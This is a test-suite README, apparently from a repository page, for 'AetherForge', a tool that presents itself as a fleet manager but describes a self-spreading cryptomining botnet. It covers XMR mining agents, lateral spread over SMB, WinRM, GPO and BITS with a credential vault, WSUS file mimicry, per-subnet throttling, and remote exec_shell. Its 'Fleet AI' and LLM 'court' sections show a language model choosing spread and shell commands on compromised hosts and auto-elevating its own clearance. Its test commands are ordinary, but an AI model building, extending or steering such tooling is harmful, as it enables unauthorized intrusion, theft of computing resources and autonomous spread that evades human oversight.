Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Wire focused Go/Vitest/E2E slices in test-suite.ps1 and refresh README/PROBLEMS counts for deploy and subnet recon.
879 lines
75 KiB
Markdown
879 lines
75 KiB
Markdown
# AetherForge Test Suite
|
||
|
||
**Current counts (2026-06-07):** Go server **1001** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||
|
||
## Master validation (operator commands)
|
||
|
||
PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage.
|
||
|
||
|
||
After parallel agent landings, run from repo root:
|
||
|
||
| Gate | Command | Phases |
|
||
|------|---------|--------|
|
||
| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) |
|
||
| **Quick verify** | `.\scripts\test-suite.ps1 -SkipE2E` | 1–7b without Playwright — default post-landing smoke |
|
||
| **Fast slice** | `.\scripts\test-suite.ps1 -SkipE2E -SkipBuild` | 1–4 only (Go + Vitest) |
|
||
| **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
|
||
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
|
||
| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) |
|
||
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages + `fleetDiscoveries` Vitest |
|
||
|
||
Feature slices (single-feature regression after parallel agent landings; each exits after its phase):
|
||
|
||
| Feature | Command | Covers |
|
||
|---------|---------|--------|
|
||
| **S3Swarm** | `.\scripts\test-suite.ps1 -S3Swarm` | RS 4+2 upload mocks, deploy-plan magnets, Forge erasure panel Vitest |
|
||
| **CloudMap** | `.\scripts\test-suite.ps1 -CloudMap` | Agent registry fetch, EC2 IMDS meta, server deploy-plan hooks, cloud method catalog |
|
||
| **Fargate** | `.\scripts\test-suite.ps1 -Fargate` | Burst ZIP export, campaign Seer sync, spread-router prefer-seeder hint |
|
||
| **PolicyFanout** | `.\scripts\test-suite.ps1 -PolicyFanout` | Public policy snapshot + EventBridge fan-out ZIP export |
|
||
| **SSM** | `.\scripts\test-suite.ps1 -SSM` | SSM spread bundle API, agent `ssm_document` lane mock, cloud hub Vitest |
|
||
| **Seer** | `.\scripts\test-suite.ps1 -Seer` | Seer stream API, LLM note bridge, Seer page + event merge Vitest |
|
||
| **Oath** | `.\scripts\test-suite.ps1 -Oath` | SQLite oath ledger + API + `/oath` page Vitest |
|
||
| **Contingency** | `.\scripts\test-suite.ps1 -Contingency` | Agent contingency tree, server auth push + Seer onion logs, mining self-surgery help |
|
||
| **CloudVenue** | `.\scripts\test-suite.ps1 -CloudVenue` | EC2 biome inference, venue policy push, dashboard weather merge Vitest |
|
||
|
||
Count refresh (update this doc when totals drift):
|
||
|
||
```powershell
|
||
cd server; (go test ./... -list . 2>$null | Select-String '^Test').Count
|
||
cd agent; (go test ./... -list . 2>$null | Select-String '^Test').Count
|
||
cd server\web; npm run test -- --run
|
||
cd server\web; npx playwright test --list
|
||
```
|
||
|
||
One command runs everything:
|
||
|
||
```bat
|
||
test.bat
|
||
```
|
||
|
||
From repo root with GNU Make (same as `test.bat`):
|
||
|
||
```make
|
||
make test
|
||
make test-quick # -SkipE2E
|
||
make test-fast # -SkipE2E -SkipBuild
|
||
```
|
||
|
||
Or with PowerShell directly:
|
||
|
||
```powershell
|
||
.\scripts\test-suite.ps1
|
||
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
|
||
.\scripts\test-suite.ps1 -ReconOnly
|
||
.\scripts\test-suite.ps1 -P2
|
||
.\scripts\test-suite.ps1 -S3Swarm
|
||
.\scripts\test-suite.ps1 -CloudMap
|
||
.\scripts\test-suite.ps1 -Fargate
|
||
.\scripts\test-suite.ps1 -PolicyFanout
|
||
.\scripts\test-suite.ps1 -SSM
|
||
.\scripts\test-suite.ps1 -Seer
|
||
.\scripts\test-suite.ps1 -Oath
|
||
.\scripts\test-suite.ps1 -Contingency
|
||
.\scripts\test-suite.ps1 -CloudVenue
|
||
```
|
||
|
||
**Portable USB:** `pack-usb.bat` from repo root → copy `usb\` to a drive → `LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
|
||
|
||
|
||
## Fleet evolution master checklist (2026-06-07)
|
||
|
||
Windows dashboard only; no in-process cloudflared. Genealogy fields are **telemetry on auth/stats only**  they never gate `fleet_secret` or block agent registration.
|
||
|
||
| Feature | Where | Regression (quick) |
|
||
|---------|--------|-------------------|
|
||
| **Seeder / miner split** | Forge `fleet_role` + `seeder_mode`; agent `config/fleet_role.go`; server `internal/strategy/fleet_role.go`, `internal/api/fleet_role.go`; seeder staging (`deploy/seeder_staging.go`, `lan_seeder.go`) | `go test ./config/... ./client/... -run FleetRole -count=1` (agent); `go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run FleetRole -count=1` (server) |
|
||
| **Atlas LAN gossip** | Agent `client/atlas_gossip.go`; server `internal/atlas/lan_gossip.go`, `internal/api/atlas_gossip.go` | `go test ./client/... -run AtlasGossip -count=1`; `go test ./internal/atlas/... ./internal/api/... -run AtlasGossip -count=1` |
|
||
| **Genetic phenotype breeding** | `server/internal/strategy/breeding.go` merges sibling phenotypes | `go test ./internal/strategy/... -run Breeding -count=1` |
|
||
| **BGP-style spread router** | `server/internal/spreadrouter/`; Path Tracer + deploy plan `spread_route_hint` | `go test ./internal/spreadrouter/... -count=1`; `go test ./internal/api/... -run SpreadRoute -count=1` |
|
||
| **Erasure-coded multi-lane spread (foundation)** | Server `internal/erasure/` RS 4+2 encode + `erasure_plan` on deploy plans; agent `deploy/erasure_staging.go` k-of-n reassembly fallback; Calibrate `server.erasure_lanes_enabled` + Path Tracer `RS lanes` hint | `go test ./internal/erasure/... -count=1`; `go test ./internal/api/... -run Erasure -count=1`; `go test ./deploy/... -run Erasure -count=1`; `go test ./config/... ./client/... -run Erasure -count=1` |
|
||
|
||
| **Spread genealogy watermark** | Forge `-ldflags` + env overrides; auth/stats JSON only | `go test ./config/... -run Genealogy -count=1`; `go test ./internal/builder/... -run Genealogy -count=1`; `go test ./internal/api/... -run SpreadGenealogy -count=1` |
|
||
| **Genealogy grafting** | Court `spread_graft` + L4 + hashrate gate; `POST /api/v1/fleet/graft`; auth `graft_policy` push; agent applies tier order on next spread; zero config when `ai_control_enabled` + `fleet_roles_enabled` | `go test ./internal/strategy/... -run Graft -count=1`; `go test ./internal/api/... -run FleetGraft -count=1`; `go test ./client/... -run GraftPolicy -count=1`; Vitest `AccessDepthPanel.test.tsx` graft note, `PathTracerPage.test.tsx` graft note |
|
||
| **Court retry + L4 elevation** | `server/internal/ai/court_commands.go`, scheduler `ensureCourtRetryClearance` | `go test ./internal/ai/... -run CourtRetry -count=1` |
|
||
| **Operator Oath Ledger** | SQLite `oath_ledger`; hooks on graft, strain play, pathtrace fork/merge, court L4, LOTL tier dispatch; `GET /api/v1/fleet/oath-ledger`; WS `oath_ledger_event`; UI `/oath` + Seer/Access Depth links | `go test ./internal/db/... -run OathLedger -count=1`; `go test ./internal/api/... -run OathLedger -count=1`; Vitest `OathLedgerPage.test.tsx` |
|
||
| **Hashrate + subnet spread gates** | Agent `deploy/hashrate_gate.go`; server `internal/db/subnet_spread_pause.go`, `internal/atlas/subnet_immune.go` | `go test ./deploy/... -run HashrateGate -count=1`; `go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1` |
|
||
| **APK scout mode** | Forge `scout_mode` / `ApkMode`; agent `client/scout_mode.go`; builder `build_apk.go` | `go test ./client/... -run Scout -count=1`; `go test ./internal/builder/... -run Apk -count=1`; `go test ./internal/api/... -run Scout -count=1` |
|
||
| **AI persona spread temperament** | Calibrate `ai_persona`; auth `spread_temperament` policy push | `go test ./internal/ai/... -run Persona -count=1`; `go test ./client/... -run SpreadTemperament -count=1`; Vitest Settings persona chips |
|
||
| **WSUS CAB/partial mimic** | Forge `WSUSFormatMimic`; staging wrap/unwrap in `wsus_cache_peer_staging.go` | `go test ./deploy/... -run FormatMimic -count=1`; `go test ./internal/api/... -run WSUSFormat -count=1` |
|
||
| **Spread immunity / subnet pause** | `server/internal/api/spread_immunity.go` | `go test ./internal/api/... -run SpreadImmunity -count=1` |
|
||
| **Fleet pressure telemetry** | Agent `client/fleet_pressure.go` (`seed_pressure`, `hashrate_pressure`, `emberwake_heat`) | `go test ./client/... -run FleetPressure -count=1`; Vitest `wsStatsCoalesce.test.ts` |
|
||
| **S3 erasure swarm** | Server `internal/erasure/s3_swarm.go`; deploy plans upload RS shards + CloudFront magnets when `AF_AWS_*` set; Forge `AwsErasureSwarmPanel` | `.\scripts\test-suite.ps1 -S3Swarm` |
|
||
| **Cloud Map seeder registry** | Agent `deploy/cloud_map.go`; EC2 IMDS `cloud_instance_meta.go`; Emberwake cloud-map ZIP | `.\scripts\test-suite.ps1 -CloudMap` |
|
||
| **Fargate burst seeder** | Server `internal/fargate/` + spread-kit export; BGP `PreferFargateSeeder` when campaign active | `.\scripts\test-suite.ps1 -Fargate` |
|
||
| **Policy snapshot fan-out** | Public `policy-snapshot/{token}` + EventBridge/Lambda ZIP for degraded agents | `.\scripts\test-suite.ps1 -PolicyFanout` |
|
||
| **SSM document lane** | Emberwake SSM panel + cloud hub `ssm-document` method; export-only (no SendCommand) | `.\scripts\test-suite.ps1 -SSM` |
|
||
| **The Seer** | SQLite seer notes/events; `/seer` stream; court/surgical replay emits | `.\scripts\test-suite.ps1 -Seer` |
|
||
| **Cloud venue biomes** | EC2 IMDS tags → batch/spot/gpu biomes; persona packs on auth; dashboard weather | `.\scripts\test-suite.ps1 -CloudVenue` |
|
||
| **Onion contingency miner** | Agent `ContingencyTreeRunner`; server auth `contingency_policy` when AI control on | `.\scripts\test-suite.ps1 -Contingency` |
|
||
|
||
Full gate: `.\scripts\test-suite.ps1` (phases 1–8). P2-focused slice: `.\scripts\test-suite.ps1 -P2` then phase 8 for Playwright onion + discover→spread stub.
|
||
|
||
|
||
## P2 completion (2026-06-07)
|
||
|
||
Master suite: `.\scripts\test-suite.ps1` (all 8 phases). Focused P2 after landing parallel agents: `.\scripts\test-suite.ps1 -P2` (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub.
|
||
|
||
| Area | Quick run |
|
||
|------|-----------|
|
||
| Mining chain lifecycle | `cd agent && go test ./client/... -run MiningChain -count=1` |
|
||
| WS/beacon integration | `cd agent && go test ./client/... -run WSBeacon -count=1` and `cd server && go test ./internal/api/... -run WSBeacon -count=1` |
|
||
| Spread lanes (mock) | `cd server && go test ./internal/api/... -run SpreadLane -count=1` and `cd agent && go test ./deploy/... -run WinRM -count=1` |
|
||
| Path Forge | `cd server && go test ./internal/builder/... -run PathForge -count=1` and `cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx` |
|
||
| E2E onion + discover | Phase 8: `lotl-timeline.spec.ts`, `discover-spread.spec.ts` (incl. 3-hop chain stub) |
|
||
| Container/podman mocks | `cd agent && go test ./miner/... -run "Container|Runtime" -count=1` |
|
||
| BITS/curl target-OS mocks | `cd agent && go test ./deploy/... -run "BITS|CurlStaging|Staging" -count=1` |
|
||
| WinRM/GPO/systemd httptest | `cd server && go test ./internal/api/... -run PostDeploy -count=1` and `cd agent && go test ./deploy/... -run "DeployPlanWinRM|DeployPlanGPO|DeployPlanLinux" -count=1` |
|
||
## Phases
|
||
|
||
| Phase | What it runs | Location |
|
||
|-------|----------------|----------|
|
||
| 1 | Go server unit + integration tests | `server/` |
|
||
| 2 | Go agent tests | `agent/` |
|
||
| 3 | Fusion module unit tests + compile check | `fusion/` |
|
||
| 4 | Frontend unit tests (Vitest) | `server/web/` |
|
||
| 5 | Frontend production build | `server/web/` |
|
||
| 6 | Server binary compile | `server/` |
|
||
| 7 | Agent binary compile (Windows) | `agent/` → `bin/install-worker.exe` |
|
||
| 7b | Agent cross-compile (linux/darwin) | `agent/` → `bin/install-worker-*` |
|
||
| 8 | E2E smoke (Playwright) | `server/web/e2e/`  starts temp server on :18989 |
|
||
|
||
Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
|
||
|
||
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits  useful after parallel agent landings.
|
||
|
||
## Operator quick start (LOTL + fleet recon)
|
||
|
||
1. **Forge with LOTL Onion**  Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth  **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example.
|
||
2. **Probe & Join**  Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`.
|
||
3. **Deployment credentials vault**  For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:
|
||
|
||
```json
|
||
"deployment_credentials": [
|
||
{ "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" }
|
||
]
|
||
```
|
||
|
||
Store the password in `data/deployment-creds/<id>.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`.
|
||
|
||
Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents.
|
||
|
||
## Fleet role split (Seeder / Miner)
|
||
|
||
**Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`).
|
||
|
||
**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`).
|
||
|
||
**Forge:** Advanced → Fleet role chips (`auto` | `miner` | `seeder`); seeder bake sets `MiningDisabled`, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: `server.fleet_roles_enabled` (default off).
|
||
|
||
```bat
|
||
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
|
||
cd server && go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run "FleetRole|Emberwake|Seeder" -count=1
|
||
cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/BuilderPage.test.tsx
|
||
```
|
||
|
||
| Area | Test file(s) |
|
||
|------|----------------|
|
||
| Role resolution + seeder forge defaults | `agent/config/fleet_role_test.go` |
|
||
| Seeder staging + LAN seeder pick | `agent/deploy/seeder_staging_test.go`, `lan_seeder_test.go` |
|
||
| Mining skip + pressure fields | `agent/client/fleet_pressure_test.go`, `fleet_role_lifecycle_test.go` |
|
||
| Auth hints + emberwake heat ingest | `server/internal/api/fleet_role_test.go` |
|
||
| Emberwake heat helper | `server/internal/strategy/fleet_role_test.go` |
|
||
| Forge bake + builtin template | `server/internal/builder/fleet_role_test.go` |
|
||
|
||
## Adaptive Strategy
|
||
|
||
The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring  not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
|
||
|
||
Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
|
||
|
||
## Phenotype cloning
|
||
|
||
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth  tier order and spread lane clone without re-forge.
|
||
|
||
**Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy.
|
||
|
||
When two lane winners exist for the same fingerprint bucket with different `join_lane` / `spread_lane` values, the strategy engine crossbreeds their tier orders (single-point crossover + failed-tier mutation) and stores the result in an in-memory `BreedingRegistry`. Siblings without a direct fleet winner receive the bred order as `inherited_phenotype` with `genetic_breed: true`.
|
||
|
||
Regression:
|
||
|
||
```bat
|
||
cd server && go test ./internal/strategy/... ./internal/api/... -run "Phenotype|Breed|Genetic" -count=1
|
||
```
|
||
|
||
## Failure atlas
|
||
|
||
The failure atlas (`server/internal/atlas/`) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into `adaptive_strategy.skip_tiers`, and pushes `atlas_skips` on auth. LOTL Timeline marks tiers `skipped_by_atlas`.
|
||
|
||
**Atlas LAN gossip (optional):** When Calibrate `server.atlas_lan_gossip_enabled` is true, agents broadcast tier+condition skip hints to WS-connected siblings on the same /24. The server relays `atlas_gossip` frames (no raw UDP). Siblings merge hints into local `atlas_skips` before spread attempts. Auth pushes `atlas_lan_gossip_enabled` in `auth_response`.
|
||
|
||
Regression:
|
||
|
||
```bat
|
||
cd server && go test ./internal/atlas/... ./internal/api/... -run "AtlasGossip|LanGossip|MergeGossip" -count=1
|
||
cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1
|
||
```
|
||
|
||
## Court session
|
||
|
||
When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs an **adversarial L4 court chamber**: Prosecutor and Public Defender speak from real telemetry only (hashrate, subnet immune table, failure atlas, erasure recovery, LAN gossip whispers); Judge (LLM) issues verdict + commands at L4 clearance. Full transcript broadcasts on dashboard WS `seer_events` (`event_type=court_debate`) and optionally `emberwake_court_debate`. Persisted with `court_session=true` on LOTL Timeline.
|
||
|
||
```bat
|
||
cd server && go test ./internal/ai/... ./internal/api/... -run "CourtChamber|CourtDebate|IntegrationCourtStuck" -count=1
|
||
```
|
||
|
||
## Clearance L0–L4
|
||
|
||
Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.
|
||
|
||
## Fleet AI Control
|
||
|
||
Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.
|
||
|
||
**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions  auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
|
||
|
||
Operator settings: `ai_endpoint`, `ai_model`, `ai_no_context` (single-turn prompts), `ai_decision_interval_sec`. Refresh models: Calibrate **Refresh models** → `GET /api/v1/ai/models`. Audit trail: `GET /api/v1/ai/decisions?agent_id=`.
|
||
|
||
Agent side: hub sends `ai_snapshot_request` → agent replies `ai_snapshot` (`agent/client/ai_snapshot.go`); scheduler commands map to `ai_commands` handlers (`exec_shell`, `full_sys_check`, `restart_mining`, etc.). Per-agent Ollama autonomy (`ai_enabled` forge flag) remains separate  see [Agent logs](#agent-logs-not-a-missing-api).
|
||
|
||
### Fleet AI + LOTL Timeline quick-run
|
||
|
||
```bat
|
||
cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
|
||
cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
|
||
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
|
||
```
|
||
|
||
### Client WS/beacon integration (2026-06-07)
|
||
|
||
httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 `command` frame  no separate chunk type), and disconnect cleanup.
|
||
|
||
```bat
|
||
cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1
|
||
cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
|
||
```
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| Auth → stats tick → `stats_batch` coalescing (dashboard WS) | `server/internal/api/ws_beacon_integration_test.go`, `websocket_test.go` | 1 |
|
||
| Beacon registration + heartbeat + queued commands + result relay | `server/internal/api/ws_beacon_integration_test.go`, `beacon_test.go` | 1 |
|
||
| Beacon state cleared on WS reconnect | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||
| Operator name preserved vs hostname on reconnect | `server/internal/api/websocket_test.go` | 1 |
|
||
| Command dispatch (`exec_shell`, `mining_diagnostics`) server → agent WS | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||
| `ai_snapshot_request` → `ai_snapshot` telemetry cache | `server/internal/api/ws_beacon_integration_test.go`, `fleet_intelligence_test.go` | 1 |
|
||
| Agent disconnect → offline + `agent_offline` + log cache cleared | `server/internal/api/ws_beacon_integration_test.go` | 1 |
|
||
| Agent WS command round-trip (`exec_shell`, `mining_diagnostics`, `upload`) | `agent/client/ws_beacon_integration_test.go` | 2 |
|
||
| Agent `ai_snapshot` WS write + `handleMessage` mining diagnostics | `agent/client/ws_beacon_integration_test.go`, `handlemessage_test.go` | 2 |
|
||
| HTTPS beacon heartbeat + command + `/beacon/result` | `agent/client/ws_beacon_integration_test.go`, `beacon_transport.go` | 2 |
|
||
| Reconnect auth payload (`worker_name` vs `hostname`) | `agent/client/ws_beacon_integration_test.go`, `websocket_test.go` | 1 / 2 |
|
||
| Disconnect write guard (`conn == nil`) | `agent/client/ws_beacon_integration_test.go` | 2 |
|
||
|
||
**Note:** Full `mining_diagnostics` JSON over WS is slow (~1s+) on Windows due to runtime probes; agent integration tests stub probes via `stubFastMiningDiagnostics` and relay a representative `command_result` frame on the wire. Server-side tests dispatch commands over WS independently of diagnostics generation time.
|
||
|
||
### Fleet AI coverage map
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| Command parser (JSON, tool-call, COMMAND: lines) | `server/internal/ai/commands_test.go` | 1 |
|
||
| OpenAI client (models list, decide) | `server/internal/ai/client_test.go` | 1 |
|
||
| Scheduler mock (1 agent, 1 cycle; disabled no-op) | `server/internal/ai/scheduler_test.go` | 1 |
|
||
| AI config / models / decisions API | `server/internal/api/fleet_ai_handler_test.go` | 1 |
|
||
| AI control precedence over adaptive (auth + snapshot) | `server/internal/api/strategy_auth_test.go`, `fleet_ai_handler_test.go` | 1 |
|
||
| Legacy Ollama decide/report API | `server/internal/api/ai_handler_test.go` | 1 |
|
||
| `ai_snapshot` JSON shape + stuck detection | `agent/client/ai_snapshot_test.go` | 2 |
|
||
| `ai_snapshot_request` WS dispatch | `agent/client/handlemessage_test.go` | 2 |
|
||
| `ai_commands` handlers + path traversal + spread/restart/syscheck | `agent/client/ai_commands_test.go` | 2 |
|
||
| Upload/download/read_file path guards + config round-trip | `agent/client/client_upload_test.go`, `file_ops_common_test.go`, `deploy/desktop_path_test.go` | 2 |
|
||
| Agent/fusion/APK artifact download routes | `server/internal/api/download_handler_test.go`, `dropper_handler_test.go`, `builder/handler_serve_test.go` | 1 |
|
||
| APK asset paths ↆBinaryExtractor.kt cross-check | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
|
||
| Calibrate AI Control toggle + models refresh | `server/web/src/pages/SettingsPage.test.tsx` | 4 |
|
||
| LOTL Timeline page (tier chain + AI decision panel) | `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
|
||
| LOTL tier timeline component | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx` | 4 |
|
||
| Calibrate help keys (`calibration_ai_control`) | `server/web/src/help/settingHelp.test.ts`, `docAnchors.test.ts` | 4 |
|
||
| Persona spread temperament (tier order hints) | `server/internal/ai/personas_test.go` | 1 |
|
||
| Auth `spread_temperament` when AI control | `server/internal/api/strategy_auth_test.go`, `scout_phenotype_test.go` | 1 |
|
||
| Fleet AI snapshot spread temperament | `server/internal/api/fleet_ai_handler_test.go`, `fleet_intelligence_test.go` | 1 |
|
||
| APK scout preset + builtin flags | `server/internal/builder/build_apk_test.go`, `android/forge/internal/forge/config_test.go` | 1 / 3 |
|
||
| Scout discover skips staging | `agent/deploy/scout_discover_test.go` | 2 |
|
||
| Scout remote action gates | `agent/client/scout_mode_test.go` | 2 |
|
||
| Scout phenotype publish | `server/internal/api/scout_phenotype_test.go` | 1 |
|
||
| Scout constellation venues (SSID → persona pack) | `server/internal/ai/scout_constellation_test.go`, `server/internal/api/scout_constellation_test.go`, `agent/client/scout_constellation_test.go`, `agent/deploy/scout_wifi_test.go`, `server/web/src/help/scoutBiomeWeather.test.ts` | 1 |
|
||
|
||
### Fleet intelligence (2026-06-07  phenotype, atlas, court, clearance)
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| Fleet phenotype store + peak hashrate | `server/internal/strategy/phenotype_test.go`, `server/internal/db/phenotype_test.go` | 1 |
|
||
| Phenotype publish + sibling inheritance API | `server/internal/api/phenotype_test.go` | 1 |
|
||
| Agent auth phenotype policy | `agent/client/phenotype_policy_test.go` | 2 |
|
||
| Failure atlas subtree skips | `server/internal/atlas/failure_atlas_test.go` | 1 |
|
||
| Subnet immune spread pause (/24, 5 failures → 24h) | `server/internal/atlas/subnet_immune_test.go`, `server/internal/db/subnet_spread_pause_test.go`, `server/internal/api/spread_immunity_test.go` | 1 |
|
||
| Court-mandated retry (`spread_retry_lane`, `skip_tier` → L4 dispatch) | `server/internal/ai/court_commands_test.go`, `server/internal/ai/court_prompt_test.go`, `server/internal/ai/scheduler_test.go` | 1 |
|
||
| Hashrate-gated autospread (earn-before-burn) | `agent/deploy/hashrate_gate_test.go`, `agent/client/spread_policy_test.go` | 2 |
|
||
| Atlas LAN gossip relay + merge | `server/internal/atlas/lan_gossip_test.go`, `server/internal/api/atlas_gossip_test.go` | 1 |
|
||
| Agent atlas gossip merge + broadcast | `agent/client/atlas_gossip_test.go` | 2 |
|
||
| Clearance L0–L4 command gating | `server/internal/clearance/clearance_test.go` | 1 |
|
||
| AI scheduler clearance elevation | `server/internal/ai/scheduler_test.go` | 1 |
|
||
| Clearance helpers + timeline history | `server/web/src/help/clearance.test.ts`, `server/web/src/pages/LotlTimelinePage.test.tsx` | 4 |
|
||
| Phenotype cloned-from + clearance badge UI | `server/web/src/components/Lotl/LotlTierTimeline.test.tsx`, `server/web/src/components/Fleet/AccessDepthPanel.test.tsx` | 4 |
|
||
|
||
```bat
|
||
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance|Subnet|SpreadRetry|Hashrate|Immune" -count=1
|
||
cd agent && go test ./deploy/... ./client/... -run "Hashrate|SpreadPolicy|Autospread" -count=1
|
||
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
|
||
```
|
||
|
||
### Earn-before-burn propagation (2026-06-07)
|
||
|
||
Calibrate `server.hashrate_gate_spread_min` + `server.hashrate_gate_hps` push `spread_policy` on auth. Agents defer autospread until mining holds above the H/s threshold for N minutes; SMB/WinRM sweeps also stop when the mining chain is exhausted.
|
||
|
||
```bat
|
||
cd agent && go test ./deploy/... -run Hashrate -count=1
|
||
cd server && go test ./internal/ai/... -run "Court|SpreadRetry" -count=1
|
||
cd server && go test ./internal/atlas/... ./internal/db/... -run Subnet -count=1
|
||
```
|
||
|
||
### Subnet immune response (2026-06-07)
|
||
|
||
Five spread failures on a /24 (`subnet_spread_pause` table) pause `discover_and_join`, `spread_now`, and `stage_fetch` to that prefix for 24 hours. Failures increment via spread-cred report edges and block in `SendAgentCommand`.
|
||
|
||
```bat
|
||
